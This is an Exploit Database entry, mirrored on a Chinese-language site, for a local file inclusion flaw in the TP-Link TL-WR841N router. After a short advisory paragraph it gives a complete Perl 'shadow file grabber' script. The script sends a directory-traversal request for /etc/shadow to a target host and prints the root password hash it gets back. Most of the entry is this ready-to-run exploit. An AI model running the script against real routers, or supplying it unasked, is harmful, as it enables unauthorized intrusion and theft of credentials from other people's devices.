TP-Link TL-WR841N Router – Local File Inclusion

• Exploit Database
• 115 阅读

• 作者： Matan Azugi
  日期： 2012-10-29
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/37982/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46

  source: https://www.securityfocus.com/bid/56320/info   TP-LINK TL-WR841N router is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.   An attacker can exploit this vulnerability to view files and execute local scripts in the context of the affected device. This may aid in further attacks.   TP-LINK TL-WR841N 3.13.9 Build 120201 Rel.54965n is vulnerable; other versions may also be affected.   #TP-LINK TL-WR841N Shadow file grabber#   #built by Pulse matan () madsec co il#   #enjoy#     use LWP::UserAgent;   $host = $ARGV[0];   chomp($host);   if($host !~ /http:\/\//) { $host = "http://$host";; };     my $ua = LWP::UserAgent->new;   $ua->timeout(30);   $lfi = "/help/../../../../../../../../etc/shadow";   $url = $host.$lfi;   $request = HTTP::Request->new('GET', $url);   $response = $ua->request($request);   my $html = $response->content;   if($html =~ /root/) {   print "root$' \n" ;   }